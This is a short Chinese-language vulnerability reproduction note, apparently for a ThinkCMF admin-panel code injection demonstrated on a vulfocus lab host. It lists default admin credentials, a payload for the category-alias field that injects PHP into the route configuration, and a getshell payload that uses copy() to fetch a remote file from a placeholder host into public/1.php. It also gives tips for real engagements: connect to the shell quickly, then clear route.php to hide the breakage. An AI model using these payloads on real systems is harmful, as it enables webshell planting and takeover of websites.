0x03 漏洞复现

访问后,页面内容如下:

Untitled

登录后台,admin/123456。

Untitled

登录成功后,点击门后管理,分类管理,添加分类,在分类别名中添加:1'=>array("",""),phpinfo,'2

Untitled

然后访问。

<http://vulfocus.fofa.so:59657/portal/list/index/id/1.html>

Untitled

<aside> ⚠️ 注意:这个在实战中尽量不用,后台所有内容都会变成phpinfo界面。

</aside>

getshell

<aside> 💡 这样网站也会崩掉,但是会再public下生成1.php,得快速连上,再清空thinkcmf\data\conf\route.php 文件 网站方可恢复正常

</aside>

1'=>array("",""),copy("<http://xxx.com/1.txt","1.php>"),'2